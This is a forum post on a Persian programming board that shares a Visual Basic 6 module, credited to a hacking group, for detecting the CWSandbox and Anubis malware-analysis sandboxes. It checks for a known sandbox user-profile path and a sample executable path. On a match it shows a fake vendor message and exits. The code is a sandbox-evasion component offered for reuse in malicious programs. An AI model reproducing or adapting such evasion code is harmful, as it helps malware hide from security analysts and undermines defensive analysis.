+- Parsi Coders (http://parsicoders.com)
+-- انجمن: Software Development Programming (http://parsicoders.com/forumdisplay.php?fid=37)
+--- انجمن: Visual Basic Programming (http://parsicoders.com/forumdisplay.php?fid=39)
+---- انجمن: Visual Basic 6 (http://parsicoders.com/forumdisplay.php?fid=44)
+---- موضوع: VB6 - Anti CW Sandbox & Anubis Module (/showthread.php?tid=1098)
VB6 - Anti CW Sandbox & Anubis Module - Amin_Mansouri - 10-17-2011
کد:
'##############################################
'# Anti CW Sandbox & Anubis Module #
'# ------------------------------------- #
'# Module by haZl0oh for Os-Gentlemen.6x.to #
'# Shoutz to EvAriZzl , h0yt3r,Mastermaefju #
'# Ic3drag0n and OS-Gentlemen.6x.to Staff #
'# If u sue it gimme some shoutZ.... #
'##############################################
Public Sub cw_anub()
' Anti CW Sandbox
'-------------------------
If Environ("userprofile") = "H:/Dokumenteund Einstellungen/Schmidti" Then
MsgBox "No emulation or Virtualisation of this application possible" & vbCrLf & "Please contact your Vendor for more information.", , "Vendor notification."
End
Else
'ANTI Anubis
'--------------------
If App.Path & App.EXEName & ".exe" = "C:\sample.exe" Then
MsgBox "No emulation or Virtualisation of this application possible" & vbCrLf & "Please contact your Vendor for more information.", , "Vendor notification."
End
Else
'MsgBox "Success...."
End If
End If
End Sub